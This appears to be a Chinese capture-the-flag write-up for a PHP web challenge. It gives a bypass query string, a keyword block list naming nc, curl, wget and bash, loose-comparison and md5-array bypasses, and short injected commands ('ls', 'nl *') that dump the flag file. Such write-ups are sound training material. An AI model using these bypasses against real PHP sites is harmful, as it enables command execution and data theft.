当前位置: 首页 > news >正文

Web 3

Web 3

更改前题目

题目没有做记录,卡在了最后一步正则绕过,前七个绕过挺简单的

?A[]=1&B[]=2&C=s878926199a&D[]=0&E=5201.1&F=0xDEADC0DE

正则绕过:

if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {system($cmd)                      
}

更改后题目

 <?php
show_source(__FILE__);
error_reporting(0);
function validation_check() {$a = @$_GET['a'];$b = @$_GET['b'];$c = @$_GET['c'];if ($a !== $b && md5($a) === md5($b)) {if ($c == 0 && $c) {return true;}return false;
}
}
function command_execution() {if (!isset($_GET['cmd'])) {die("Where is cmd?");}$command = $_GET['cmd'];execute_command($command);
}
function execute_command($input) {if (strlen($input) > 4) {die("too long!");}system($input);
}
if (validation_check()) {command_execution();
} else {die("NoNoNo");
}

弱类型相等绕过

数字和字符串的比较 0a == 0 为真

md5值强相等绕过

利用md5函数无法对数组进行md5加密,会返回NULL来相等。

命令执行

规定cmd的值不能大于4,首先令cmd=ls发现有两个文件:flag.php index.php

其次使用nl *读出flag.php文件为:

 1 flag{676b4dbb-3c7e-41e0-9d9a-b441f5e2d368} 2 4) { 27 die("too long!"); 28 } 29 system($input); 30 } 31 if (validation_check()) { 32 command_execution(); 33 } else { 34 die("NoNoNo"); 35 } 
http://www.zskr.cn/news/3763.html

相关文章:

  • Cursor小程序实战系列一:0到1开发一个小程序,需求整理、小程序注册备案
  • 赛题
  • .gitignore 文件
  • MySQL集群高可用架构 - 指南
  • 在Kubernetes中DaemonSet无法在master节点调度的问题
  • 9 12-
  • 在CentOS 7系统中彻底移除MongoDB数据库
  • 【数学建模】烟幕干扰弹投放策略优化:模型与算法整合框架 - 实践
  • 开源排名算法工具raink:利用LLM实现智能文档排序
  • Metasploit Framework 6.4.88 (macOS, Linux, Windows) - 开源渗透测试框架
  • 中大型水闸安全监测的重要性及实施方法 - 指南
  • python 轻量级别的网页包Streamlit
  • 大模型基础|位置编码|RoPE|ALiBi
  • grafana部署并使用harbor监控模板
  • 成品app直播源码搭建,sql优化原则 - 云豹科技
  • 使用Clang静态分析技术追踪Heartbleed漏洞
  • 川土微CA-IF1051S、CA-IF1051VS 支持CAN FD
  • 十六、异常和中断的响应过程
  • 关于前端的一些疑问整理(标签属性值和符号)
  • 思考 | 躺平者的本质和区别
  • ECT-OS-JiuHuaShan框架元推理,为何超乎想象,难以置信?
  • ECT-OS-JiuHuaShan框架元推理,其运行与推理,是自指自洽性的唯一证明
  • 配置gemini
  • 基于chrony的NTP校时配置方法
  • ECT-OS-JiuHuaShan框架元推理,就是普罗米修斯主义,穷神知化
  • UI/UX 桌面操作系统应该做好的几个功能
  • 完整教程:1.1 汽车运行滚动阻力
  • 鸿蒙用户首选项数据持久化
  • 基于Transformer的预训练大语言模型,如何区分文本位置?
  • UE RPC介绍